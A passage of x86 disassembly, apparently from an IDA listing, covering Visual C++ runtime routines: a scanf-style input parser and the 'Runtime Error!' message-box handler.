		call	sub_4129E5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_413666
		jmp	short loc_412FAE
; ---------------------------------------------------------------------------

loc_412FA8:				; CODE XREF: sub_412A74+50Fj
		cmp	[ebp+18Ch+var_190], 2Bh
		jnz	short loc_412FCB

loc_412FAE:				; CODE XREF: sub_412A74+532j
		mov	eax, [ebp+18Ch+var_198]
		dec	[ebp+18Ch+var_198]
		test	eax, eax
		jnz	short loc_412FBD
		and	[ebp+18Ch+var_198], eax
		jmp	short loc_412FCB
; ---------------------------------------------------------------------------

loc_412FBD:				; CODE XREF: sub_412A74+542j
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_412A39
		mov	[ebp+18Ch+var_190], eax

loc_412FCB:				; CODE XREF: sub_412A74+538j
					; sub_412A74+547j
		movzx	eax, byte ptr [ebp+18Ch+var_190]
		jmp	short loc_413018
; ---------------------------------------------------------------------------

loc_412FD1:				; CODE XREF: sub_412A74+5ADj
		mov	eax, [ebp+18Ch+var_198]
		dec	[ebp+18Ch+var_198]
		test	eax, eax
		jz	short loc_413023
		mov	eax, [ebp+18Ch+var_1B0]
		mov	cl, byte ptr [ebp+18Ch+var_190]
		inc	[ebp+18Ch+var_1A8]
		mov	[ebx+eax], cl
		lea	eax, [ebp+18Ch+var_1D0]
		push	eax
		lea	eax, [ebp+18Ch+var_184]
		push	eax
		inc	ebx
		push	ebx
		lea	edi, [ebp+18Ch+var_1B0]
		lea	esi, [ebp+18Ch+var_1D8]
		call	sub_4129E5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_413666
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_412A39
		mov	[ebp+18Ch+var_190], eax
		movzx	eax, al

loc_413018:				; CODE XREF: sub_412A74+55Bj
		push	eax
		call	sub_418D4B
		test	eax, eax
		pop	ecx
		jnz	short loc_412FD1

loc_413023:				; CODE XREF: sub_412A74+4B3j
					; sub_412A74+4C3j ...
		dec	[ebp+18Ch+var_188]
		cmp	[ebp+18Ch+var_190], 0FFFFFFFFh
		jz	short loc_413039
		push	[ebp+18Ch+var_1A0]
		push	[ebp+18Ch+var_190]
		call	sub_418E6B
		pop	ecx
		pop	ecx

loc_413039:				; CODE XREF: sub_412A74+5B6j
		cmp	[ebp+18Ch+var_1A8], 0
		jz	loc_413666
		cmp	[ebp+18Ch+var_199], 0
		jnz	loc_4135CE
		mov	eax, [ebp+18Ch+var_1B0]
		inc	[ebp+18Ch+var_1C8]
		lea	ecx, [ebp+18Ch+var_1F8]
		push	ecx
		push	eax
		push	[ebp+18Ch+var_1C4]
		mov	byte ptr [ebx+eax], 0
		movsx	eax, [ebp+18Ch+var_19A]
		dec	eax
		push	eax
		push	off_423F7C
		call	sub_40F194
		pop	ecx
		call	eax
		add	esp, 10h
		jmp	loc_4135CE
; ---------------------------------------------------------------------------

loc_41307B:				; CODE XREF: sub_412A74+31Bj
		test	ecx, ecx
		jnz	short loc_413089
		inc	[ebp+18Ch+var_198]
		mov	[ebp+18Ch+var_1B8], 1

loc_413089:				; CODE XREF: sub_412A74+609j
					; sub_412A74+723j
		cmp	[ebp+18Ch+var_191], 0
		jle	short loc_413093
		mov	[ebp+18Ch+var_1A2], 1

loc_413093:				; CODE XREF: sub_412A74+619j
					; sub_412A74+823j
		dec	[ebp+18Ch+var_188]
		cmp	[ebp+18Ch+var_190], 0FFFFFFFFh
		mov	edi, esi
		jz	short loc_4130AB
		push	[ebp+18Ch+var_1A0]
		push	[ebp+18Ch+var_190]
		call	sub_418E6B
		pop	ecx
		pop	ecx

loc_4130AB:				; CODE XREF: sub_412A74+628j
					; sub_412A74+8E6j ...
		cmp	[ebp+18Ch+var_1B8], 0
		jz	short loc_4130BF
		mov	eax, [ebp+18Ch+var_198]
		dec	[ebp+18Ch+var_198]
		test	eax, eax
		jz	loc_413378

loc_4130BF:				; CODE XREF: sub_412A74+63Bj
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_412A39
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+18Ch+var_190], eax
		jz	loc_413365
		cmp	ebx, 63h
		jz	short loc_413124
		cmp	ebx, 73h
		jnz	short loc_4130F3
		cmp	eax, 9
		jl	short loc_4130EE
		cmp	eax, 0Dh
		jle	loc_413365

loc_4130EE:				; CODE XREF: sub_412A74+66Fj
		cmp	eax, 20h
		jnz	short loc_413124

loc_4130F3:				; CODE XREF: sub_412A74+66Aj
		cmp	ebx, 7Bh
		jnz	loc_413365
		movsx	ebx, [ebp+18Ch+var_1A4]
		xor	edx, edx
		mov	ecx, eax
		and	ecx, 7
		inc	edx
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+18Ch+var_24]
		xor	ecx, ebx
		test	edx, ecx
		mov	ebx, [ebp+18Ch+var_1AC]
		jz	loc_413365

loc_413124:				; CODE XREF: sub_412A74+665j
					; sub_412A74+67Dj
		cmp	[ebp+18Ch+var_199], 0
		jnz	loc_41335F
		cmp	[ebp+18Ch+var_1A2], 0
		jz	loc_413354
		mov	[ebp+18Ch+var_1DC], al
		movzx	eax, al
		push	eax
		call	sub_416796
		test	eax, eax
		pop	ecx
		jz	short loc_413157
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_412A39
		mov	[ebp+18Ch+var_1DB], al

loc_413157:				; CODE XREF: sub_412A74+6D3j
		lea	eax, [ebp+18Ch+var_1F8]
		push	eax
		mov	eax, [ebp+18Ch+var_1F8]
		mov	[ebp+18Ch+var_1E8], 3Fh
		push	dword ptr [eax+0ACh]
		lea	eax, [ebp+18Ch+var_1DC]
		push	eax
		lea	eax, [ebp+18Ch+var_1E8]
		push	eax
		call	sub_418F89
		mov	ax, word ptr [ebp+18Ch+var_1E8]
		add	esp, 10h
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	loc_413357
; ---------------------------------------------------------------------------

loc_413189:				; CODE XREF: sub_412A74+30Cj
		mov	eax, ebx
		sub	eax, 70h
		jz	loc_4133B0
		sub	eax, 3
		jz	loc_413089
		dec	eax
		dec	eax
		jz	loc_4133B4
		sub	eax, 3
		jz	loc_412DCE
		sub	eax, 3
		jz	short loc_4131D7

loc_4131B3:				; CODE XREF: sub_412A74+32Cj
					; sub_412A74+33Fj
		movzx	eax, byte ptr [edi]
		cmp	eax, [ebp+18Ch+var_190]
		jnz	loc_41363E
		dec	[ebp+18Ch+var_1A1]
		cmp	[ebp+18Ch+var_199], 0
		jnz	loc_4135CE
		mov	eax, [ebp+18Ch+var_1FC]
		mov	[ebp+18Ch+var_1E4], eax
		jmp	loc_4135CE
; ---------------------------------------------------------------------------

loc_4131D7:				; CODE XREF: sub_412A74+73Dj
		cmp	[ebp+18Ch+var_191], 0
		jle	short loc_4131E1
		mov	[ebp+18Ch+var_1A2], 1

loc_4131E1:				; CODE XREF: sub_412A74+767j
		inc	edi
		cmp	byte ptr [edi],	5Eh
		mov	esi, edi
		jnz	short loc_4131F0
		lea	esi, [edi+1]
		mov	[ebp+18Ch+var_1A4], 0FFh

loc_4131F0:				; CODE XREF: sub_412A74+773j
		push	20h
		lea	eax, [ebp+18Ch+var_24]
		push	0
		push	eax
		call	sub_40C6F0
		add	esp, 0Ch
		cmp	byte ptr [esi],	5Dh
		jnz	short loc_413214
		mov	dl, 5Dh
		inc	esi
		mov	[ebp+18Ch+var_19], 20h
		jmp	short loc_413283
; ---------------------------------------------------------------------------

loc_413214:				; CODE XREF: sub_412A74+792j
		mov	dl, [ebp+18Ch+var_1C9]
		jmp	short loc_413283
; ---------------------------------------------------------------------------

loc_413219:				; CODE XREF: sub_412A74+813j
		inc	esi
		cmp	al, 2Dh
		jnz	short loc_413266
		test	dl, dl
		jz	short loc_413266
		mov	cl, [esi]
		cmp	cl, 5Dh
		jz	short loc_413266
		inc	esi
		cmp	dl, cl
		jnb	short loc_413232
		mov	al, cl
		jmp	short loc_413236
; ---------------------------------------------------------------------------

loc_413232:				; CODE XREF: sub_412A74+7B8j
		mov	al, dl
		mov	dl, cl

loc_413236:				; CODE XREF: sub_412A74+7BCj
		cmp	dl, al
		ja	short loc_413262
		sub	al, dl
		inc	al
		movzx	edi, dl
		movzx	edx, al

loc_413244:				; CODE XREF: sub_412A74+7E9j
		mov	ecx, edi
		and	ecx, 7
		mov	eax, edi
		mov	bl, 1
		shl	bl, cl
		shr	eax, 3
		lea	eax, [ebp+eax+18Ch+var_24]
		or	[eax], bl
		inc	edi
		dec	edx
		jnz	short loc_413244
		mov	ebx, [ebp+18Ch+var_1AC]

loc_413262:				; CODE XREF: sub_412A74+7C4j
		xor	dl, dl
		jmp	short loc_413283
; ---------------------------------------------------------------------------

loc_413266:				; CODE XREF: sub_412A74+7A8j
					; sub_412A74+7ACj ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shl	bl, cl
		shr	eax, 3
		lea	eax, [ebp+eax+18Ch+var_24]
		or	[eax], bl
		mov	ebx, [ebp+18Ch+var_1AC]

loc_413283:				; CODE XREF: sub_412A74+79Ej
					; sub_412A74+7A3j ...
		mov	al, [esi]
		cmp	al, 5Dh
		jnz	short loc_413219
		test	al, al
		jz	loc_413666
		mov	[ebp+18Ch+var_1B4], esi
		mov	esi, [ebp+18Ch+var_1C4]
		jmp	loc_413093
; ---------------------------------------------------------------------------

loc_41329C:				; CODE XREF: sub_412A74+360j
		cmp	ebx, 2Bh
		jnz	short loc_4132C0

loc_4132A1:				; CODE XREF: sub_412A74+36Aj
		dec	[ebp+18Ch+var_198]
		jnz	short loc_4132B0
		test	ecx, ecx
		jz	short loc_4132B0
		mov	[ebp+18Ch+var_189], 1
		jmp	short loc_4132C0
; ---------------------------------------------------------------------------

loc_4132B0:				; CODE XREF: sub_412A74+830j
					; sub_412A74+834j
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_412A39
		mov	ebx, eax
		mov	[ebp+18Ch+var_190], ebx

loc_4132C0:				; CODE XREF: sub_412A74+82Bj
					; sub_412A74+83Aj
		cmp	ebx, 30h
		jnz	loc_4133E6
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_412A39
		mov	ebx, eax
		cmp	bl, 78h
		mov	[ebp+18Ch+var_190], ebx
		jz	short loc_413325
		cmp	bl, 58h
		jz	short loc_413325
		cmp	[ebp+18Ch+var_1AC], 78h
		mov	[ebp+18Ch+var_1A8], 1
		jz	short loc_41330A
		cmp	[ebp+18Ch+var_1B8], 0
		jz	short loc_4132FE
		dec	[ebp+18Ch+var_198]
		jnz	short loc_4132FE
		inc	[ebp+18Ch+var_189]

loc_4132FE:				; CODE XREF: sub_412A74+880j
					; sub_412A74+885j
		mov	[ebp+18Ch+var_1AC], 6Fh
		jmp	loc_4133E6
; ---------------------------------------------------------------------------

loc_41330A:				; CODE XREF: sub_412A74+87Aj
		dec	[ebp+18Ch+var_188]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41331D
		push	[ebp+18Ch+var_1A0]
		push	ebx
		call	sub_418E6B
		pop	ecx
		pop	ecx

loc_41331D:				; CODE XREF: sub_412A74+89Cj
		push	30h
		pop	ebx
		jmp	loc_4133E3
; ---------------------------------------------------------------------------

loc_413325:				; CODE XREF: sub_412A74+868j
					; sub_412A74+86Dj
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_412A39
		cmp	[ebp+18Ch+var_1B8], 0
		mov	ebx, eax
		mov	[ebp+18Ch+var_190], ebx
		jz	short loc_413348
		sub	[ebp+18Ch+var_198], 2
		cmp	[ebp+18Ch+var_198], 1
		jge	short loc_413348
		inc	[ebp+18Ch+var_189]

loc_413348:				; CODE XREF: sub_412A74+8C5j
					; sub_412A74+8CFj
		mov	[ebp+18Ch+var_1AC], 78h
		jmp	loc_4133E6
; ---------------------------------------------------------------------------

loc_413354:				; CODE XREF: sub_412A74+6BEj
		mov	[esi], al
		inc	esi

loc_413357:				; CODE XREF: sub_412A74+710j
		mov	[ebp+18Ch+var_1C4], esi
		jmp	loc_4130AB
; ---------------------------------------------------------------------------

loc_41335F:				; CODE XREF: sub_412A74+6B4j
		inc	edi
		jmp	loc_4130AB
; ---------------------------------------------------------------------------

loc_413365:				; CODE XREF: sub_412A74+65Cj
					; sub_412A74+674j ...
		dec	[ebp+18Ch+var_188]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413378
		push	[ebp+18Ch+var_1A0]
		push	eax
		call	sub_418E6B
		pop	ecx
		pop	ecx

loc_413378:				; CODE XREF: sub_412A74+645j
					; sub_412A74+8F7j
		cmp	edi, esi
		jz	loc_413666
		cmp	[ebp+18Ch+var_199], 0
		jnz	loc_4135CE
		inc	[ebp+18Ch+var_1C8]
		cmp	ebx, 63h
		jz	loc_4135CE
		cmp	[ebp+18Ch+var_1A2], 0
		mov	eax, [ebp+18Ch+var_1C4]
		jz	short loc_4133A8
		and	word ptr [eax],	0
		jmp	loc_4135CE
; ---------------------------------------------------------------------------

loc_4133A8:				; CODE XREF: sub_412A74+929j
		mov	byte ptr [eax],	0
		jmp	loc_4135CE
; ---------------------------------------------------------------------------

loc_4133B0:				; CODE XREF: sub_412A74+71Aj
		mov	[ebp+18Ch+var_19A], 1

loc_4133B4:				; CODE XREF: sub_412A74+312j
					; sub_412A74+326j ...
		mov	ebx, [ebp+18Ch+var_190]
		cmp	ebx, 2Dh
		jnz	short loc_4133C2
		mov	[ebp+18Ch+var_1A3], 1
		jmp	short loc_4133C7
; ---------------------------------------------------------------------------

loc_4133C2:				; CODE XREF: sub_412A74+946j
		cmp	ebx, 2Bh
		jnz	short loc_4133E6

loc_4133C7:				; CODE XREF: sub_412A74+94Cj
		dec	[ebp+18Ch+var_198]
		jnz	short loc_4133D6
		test	ecx, ecx
		jz	short loc_4133D6
		mov	[ebp+18Ch+var_189], 1
		jmp	short loc_4133E6
; ---------------------------------------------------------------------------

loc_4133D6:				; CODE XREF: sub_412A74+956j
					; sub_412A74+95Aj
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_412A39
		mov	ebx, eax

loc_4133E3:				; CODE XREF: sub_412A74+8ACj
		mov	[ebp+18Ch+var_190], ebx

loc_4133E6:				; CODE XREF: sub_412A74+84Fj
					; sub_412A74+891j ...
		cmp	[ebp+18Ch+var_1D4], 0
		jz	loc_4134EB
		cmp	[ebp+18Ch+var_189], 0
		jnz	loc_4134C6

loc_4133FA:				; CODE XREF: sub_412A74+A3Aj
		cmp	[ebp+18Ch+var_1AC], 78h
		jz	short loc_41344F
		cmp	[ebp+18Ch+var_1AC], 70h
		jz	short loc_41344F
		movzx	eax, bl
		push	eax
		call	sub_418D4B
		test	eax, eax
		pop	ecx
		jz	loc_4134B3
		cmp	[ebp+18Ch+var_1AC], 6Fh
		jnz	short loc_413439
		cmp	ebx, 38h
		jge	loc_4134B3
		mov	eax, [ebp+18Ch+var_1BC]
		mov	esi, [ebp+18Ch+var_1C0]
		shld	eax, esi, 3
		shl	esi, 3
		mov	[ebp+18Ch+var_1BC], eax
		jmp	short loc_413484
; ---------------------------------------------------------------------------

loc_413439:				; CODE XREF: sub_412A74+9A8j
		push	0
		push	0Ah
		push	[ebp+18Ch+var_1BC]
		push	[ebp+18Ch+var_1C0]
		call	sub_4190C0
		mov	esi, eax
		mov	[ebp+18Ch+var_1BC], edx
		jmp	short loc_413484
; ---------------------------------------------------------------------------

loc_41344F:				; CODE XREF: sub_412A74+98Aj
					; sub_412A74+990j
		movzx	edi, bl
		push	edi
		call	sub_418DC8
		test	eax, eax
		pop	ecx
		jz	short loc_4134B3
		mov	eax, [ebp+18Ch+var_1BC]
		mov	esi, [ebp+18Ch+var_1C0]
		shld	eax, esi, 4
		push	edi
		shl	esi, 4
		mov	[ebp+18Ch+var_1BC], eax
		call	sub_418D4B
		test	eax, eax
		pop	ecx
		movsx	ebx, bl
		jnz	short loc_413481
		and	ebx, 0FFFFFFDFh
		sub	ebx, 7

loc_413481:				; CODE XREF: sub_412A74+A05j
		mov	[ebp+18Ch+var_190], ebx

loc_413484:				; CODE XREF: sub_412A74+9C3j
					; sub_412A74+9D9j
		inc	[ebp+18Ch+var_1A8]
		lea	eax, [ebx-30h]
		cdq
		add	esi, eax
		adc	[ebp+18Ch+var_1BC], edx
		cmp	[ebp+18Ch+var_1B8], 0
		mov	[ebp+18Ch+var_1C0], esi
		jz	short loc_41349E
		dec	[ebp+18Ch+var_198]
		jz	short loc_4134C6

loc_41349E:				; CODE XREF: sub_412A74+A23j
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_412A39
		mov	ebx, eax
		mov	[ebp+18Ch+var_190], ebx
		jmp	loc_4133FA
; ---------------------------------------------------------------------------

loc_4134B3:				; CODE XREF: sub_412A74+99Ej
					; sub_412A74+9ADj ...
		dec	[ebp+18Ch+var_188]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4134C6
		push	[ebp+18Ch+var_1A0]
		push	ebx
		call	sub_418E6B
		pop	ecx
		pop	ecx

loc_4134C6:				; CODE XREF: sub_412A74+980j
					; sub_412A74+A28j ...
		cmp	[ebp+18Ch+var_1A3], 0
		mov	edi, [ebp+18Ch+var_1E0]
		jz	loc_41358E
		mov	eax, [ebp+18Ch+var_1C0]
		mov	ecx, [ebp+18Ch+var_1BC]
		neg	eax
		adc	ecx, 0
		neg	ecx
		mov	[ebp+18Ch+var_1C0], eax
		mov	[ebp+18Ch+var_1BC], ecx
		jmp	loc_41358E
; ---------------------------------------------------------------------------

loc_4134EB:				; CODE XREF: sub_412A74+976j
		cmp	[ebp+18Ch+var_189], 0
		mov	edi, [ebp+18Ch+var_1E0]
		jnz	loc_413586

loc_4134F8:				; CODE XREF: sub_412A74+AFDj
		cmp	[ebp+18Ch+var_1AC], 78h
		jz	short loc_413527
		cmp	[ebp+18Ch+var_1AC], 70h
		jz	short loc_413527
		movzx	eax, bl
		push	eax
		call	sub_418D4B
		test	eax, eax
		pop	ecx
		jz	short loc_413573
		cmp	[ebp+18Ch+var_1AC], 6Fh
		jnz	short loc_413522
		cmp	ebx, 38h
		jge	short loc_413573
		shl	edi, 3
		jmp	short loc_41354F
; ---------------------------------------------------------------------------

loc_413522:				; CODE XREF: sub_412A74+AA2j
		imul	edi, 0Ah
		jmp	short loc_41354F
; ---------------------------------------------------------------------------

loc_413527:				; CODE XREF: sub_412A74+A88j
					; sub_412A74+A8Ej
		movzx	esi, bl
		push	esi
		call	sub_418DC8
		test	eax, eax
		pop	ecx
		jz	short loc_413573
		push	esi
		shl	edi, 4
		call	sub_418D4B
		test	eax, eax
		pop	ecx
		movsx	ebx, bl
		jnz	short loc_41354C
		and	ebx, 0FFFFFFDFh
		sub	ebx, 7

loc_41354C:				; CODE XREF: sub_412A74+AD0j
		mov	[ebp+18Ch+var_190], ebx

loc_41354F:				; CODE XREF: sub_412A74+AACj
					; sub_412A74+AB1j
		inc	[ebp+18Ch+var_1A8]
		cmp	[ebp+18Ch+var_1B8], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_413561
		dec	[ebp+18Ch+var_198]
		jz	short loc_413586

loc_413561:				; CODE XREF: sub_412A74+AE6j
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_412A39
		mov	ebx, eax
		mov	[ebp+18Ch+var_190], ebx
		jmp	short loc_4134F8
; ---------------------------------------------------------------------------

loc_413573:				; CODE XREF: sub_412A74+A9Cj
					; sub_412A74+AA7j ...
		dec	[ebp+18Ch+var_188]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_413586
		push	[ebp+18Ch+var_1A0]
		push	ebx
		call	sub_418E6B
		pop	ecx
		pop	ecx

loc_413586:				; CODE XREF: sub_412A74+A7Ej
					; sub_412A74+AEBj ...
		cmp	[ebp+18Ch+var_1A3], 0
		jz	short loc_41358E
		neg	edi

loc_41358E:				; CODE XREF: sub_412A74+A59j
					; sub_412A74+A72j ...
		cmp	[ebp+18Ch+var_1AC], 46h
		jnz	short loc_413598
		and	[ebp+18Ch+var_1A8], 0

loc_413598:				; CODE XREF: sub_412A74+B1Ej
		cmp	[ebp+18Ch+var_1A8], 0
		jz	loc_413666
		cmp	[ebp+18Ch+var_199], 0
		jnz	short loc_4135CE
		inc	[ebp+18Ch+var_1C8]
		mov	esi, [ebp+18Ch+var_1C4]

loc_4135AE:				; CODE XREF: sub_412A74+34Cj
		cmp	[ebp+18Ch+var_1D4], 0
		jz	short loc_4135C1
		mov	eax, [ebp+18Ch+var_1C0]
		mov	[esi], eax
		mov	eax, [ebp+18Ch+var_1BC]
		mov	[esi+4], eax
		jmp	short loc_4135CE
; ---------------------------------------------------------------------------

loc_4135C1:				; CODE XREF: sub_412A74+B3Ej
		cmp	[ebp+18Ch+var_19A], 0
		jz	short loc_4135CB
		mov	[esi], edi
		jmp	short loc_4135CE
; ---------------------------------------------------------------------------

loc_4135CB:				; CODE XREF: sub_412A74+B51j
		mov	[esi], di

loc_4135CE:				; CODE XREF: sub_412A74+352j
					; sub_412A74+5D3j ...
		mov	edi, [ebp+18Ch+var_1B4]
		inc	[ebp+18Ch+var_1A1]
		inc	edi
		mov	[ebp+18Ch+var_1B4], edi
		jmp	short loc_41361C
; ---------------------------------------------------------------------------

loc_4135DA:				; CODE XREF: sub_412A74+17Cj
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_412A39
		mov	ebx, eax
		movzx	eax, byte ptr [edi]
		inc	edi
		cmp	eax, ebx
		mov	[ebp+18Ch+var_190], ebx
		mov	[ebp+18Ch+var_1B4], edi
		jnz	short loc_413654
		movzx	eax, bl
		push	eax
		call	sub_416796
		test	eax, eax
		pop	ecx
		jz	short loc_41361C
		mov	edx, [ebp+18Ch+var_1A0]
		inc	[ebp+18Ch+var_188]
		call	sub_412A39
		movzx	ecx, byte ptr [edi]
		inc	edi
		cmp	ecx, eax
		mov	[ebp+18Ch+var_1B4], edi
		jnz	short loc_413644
		dec	[ebp+18Ch+var_188]

loc_41361C:				; CODE XREF: sub_412A74+B64j
					; sub_412A74+B8Dj
		cmp	[ebp+18Ch+var_190], 0FFFFFFFFh
		jnz	short loc_413632
		cmp	byte ptr [edi],	25h
		jnz	short loc_413666
		mov	eax, [ebp+18Ch+var_1B4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_413666
		mov	edi, eax

loc_413632:				; CODE XREF: sub_412A74+174j
					; sub_412A74+BACj
		mov	al, [edi]
		test	al, al
		jnz	loc_412BAC
		jmp	short loc_413666
; ---------------------------------------------------------------------------

loc_41363E:				; CODE XREF: sub_412A74+303j
					; sub_412A74+745j
		cmp	[ebp+18Ch+var_190], 0FFFFFFFFh
		jmp	short loc_413657
; ---------------------------------------------------------------------------

loc_413644:				; CODE XREF: sub_412A74+BA3j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413654
		push	[ebp+18Ch+var_1A0]
		push	eax
		call	sub_418E6B
		pop	ecx
		pop	ecx

loc_413654:				; CODE XREF: sub_412A74+B7Fj
					; sub_412A74+BD3j
		cmp	ebx, 0FFFFFFFFh

loc_413657:				; CODE XREF: sub_412A74+BCEj
		jz	short loc_413666
		push	[ebp+18Ch+var_1A0]
		push	[ebp+18Ch+var_190]
		call	sub_418E6B
		pop	ecx
		pop	ecx

loc_413666:				; CODE XREF: sub_412A74+2ECj
					; sub_412A74+3D7j ...
		cmp	[ebp+18Ch+var_1D0], 1
		jnz	short loc_413675
		push	[ebp+18Ch+var_1B0]
		call	sub_40D35A
		pop	ecx

loc_413675:				; CODE XREF: sub_412A74+BF6j
		cmp	[ebp+18Ch+var_190], 0FFFFFFFFh
		jnz	short loc_413699
		mov	eax, [ebp+18Ch+var_1C8]
		test	eax, eax
		jnz	short loc_41368A
		cmp	[ebp+18Ch+var_1A1], al
		jnz	short loc_41368A
		or	eax, 0FFFFFFFFh

loc_41368A:				; CODE XREF: sub_412A74+C0Cj
					; sub_412A74+C11j
		cmp	[ebp+18Ch+var_1EC], 0
		jz	short loc_4136A9
		mov	ecx, [ebp+18Ch+var_1F0]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	short loc_4136A9
; ---------------------------------------------------------------------------

loc_413699:				; CODE XREF: sub_412A74+12Fj
					; sub_412A74+C05j
		cmp	[ebp+18Ch+var_1EC], 0
		jz	short loc_4136A6
		mov	eax, [ebp+18Ch+var_1F0]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_4136A6:				; CODE XREF: sub_412A74+C29j
		mov	eax, [ebp+18Ch+var_1C8]

loc_4136A9:				; CODE XREF: sub_412A74+70j
					; sub_412A74+C1Aj ...
		mov	ecx, [ebp+18Ch+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		add	ebp, 18Ch
		leave
		retn
sub_412A74	endp


; =============== S U B	R O U T	I N E =======================================



sub_4136C1	proc near		; CODE XREF: sub_40D437+2Ap
					; sub_40DF6D+12p ...

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		mov	ebx, [esp+8+arg_0]
		push	esi
		push	edi
		xor	esi, esi
		xor	edi, edi

loc_4136CD:				; CODE XREF: sub_4136C1+19j
		cmp	ebx, dword_423BE0[edi*8]
		jz	short loc_4136DC
		inc	edi
		cmp	edi, 17h
		jl	short loc_4136CD

loc_4136DC:				; CODE XREF: sub_4136C1+13j
		cmp	edi, 17h
		jnb	loc_41385C
		push	ebp
		push	3
		call	sub_419292
		cmp	eax, 1
		pop	ecx
		jz	loc_413828
		push	3
		call	sub_419292
		test	eax, eax
		pop	ecx
		jnz	short loc_413710
		cmp	dword_423060, 1
		jz	loc_413828

loc_413710:				; CODE XREF: sub_4136C1+40j
		cmp	ebx, 0FCh
		jz	loc_41385B
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		mov	ebx, 314h
		push	ebx
		mov	ebp, offset dword_426058
		push	ebp
		call	sub_4117D5
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_413746
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40CA0C
		add	esp, 14h

loc_413746:				; CODE XREF: sub_4136C1+76j
		push	104h
		mov	esi, offset byte_426071
		push	esi
		push	0
		mov	byte_426175, 0
		call	ds:dword_41E0B4	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_41378A
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	2FBh
		push	esi
		call	sub_4117D5
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41378A
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_40CA0C
		add	esp, 14h

loc_41378A:				; CODE XREF: sub_4136C1+A1j
					; sub_4136C1+B8j
		push	esi
		call	sub_40C500
		inc	eax
		cmp	eax, 3Ch
		pop	ecx
		jbe	short loc_4137CF
		push	esi
		call	sub_40C500
		sub	esi, 3Bh
		add	eax, esi
		push	3
		mov	ecx, offset dword_42636C
		push	offset a___	; "..."
		sub	ecx, eax
		push	ecx
		push	eax
		call	sub_4165A6
		add	esp, 14h
		test	eax, eax
		jz	short loc_4137CF
		xor	esi, esi
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40CA0C
		add	esp, 14h
		jmp	short loc_4137D1
; ---------------------------------------------------------------------------

loc_4137CF:				; CODE XREF: sub_4136C1+D4j
					; sub_4136C1+FBj
		xor	esi, esi

loc_4137D1:				; CODE XREF: sub_4136C1+10Cj
		push	offset asc_41EB00 ; "\n\n"
		push	ebx
		push	ebp
		call	sub_4164ED
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4137F1
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40CA0C
		add	esp, 14h

loc_4137F1:				; CODE XREF: sub_4136C1+121j
		push	off_423BE4[edi*8]
		push	ebx
		push	ebp
		call	sub_4164ED
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_413813
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40CA0C
		add	esp, 14h

loc_413813:				; CODE XREF: sub_4136C1+143j
		push	12010h
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	ebp
		call	sub_4190F4
		add	esp, 0Ch
		jmp	short loc_41385B
; ---------------------------------------------------------------------------

loc_413828:				; CODE XREF: sub_4136C1+30j
					; sub_4136C1+49j
		push	0FFFFFFF4h
		call	ds:dword_41E134	; GetStdHandle
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41385B
		cmp	ebp, 0FFFFFFFFh
		jz	short loc_41385B
		push	0
		lea	eax, [esp+18h+var_4]
		push	eax
		lea	esi, ds:423BE4h[edi*8]
		push	dword ptr [esi]
		call	sub_40C500
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	ebp
		call	ds:off_41E078

loc_41385B:				; CODE XREF: sub_4136C1+55j
					; sub_4136C1+165j ...
		pop	ebp

loc_41385C:				; CODE XREF: sub_4136C1+1Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_4136C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_413861	proc near		; CODE XREF: sub_40D437+23p
					; sub_40DF6D+9p ...
		push	3
		call	sub_419292
		cmp	eax, 1
		pop	ecx
		jz	short loc_413883
		push	3
		call	sub_419292
		test	eax, eax
		pop	ecx
		jnz	short locret_413899
		cmp	dword_423060, 1
		jnz	short locret_413899

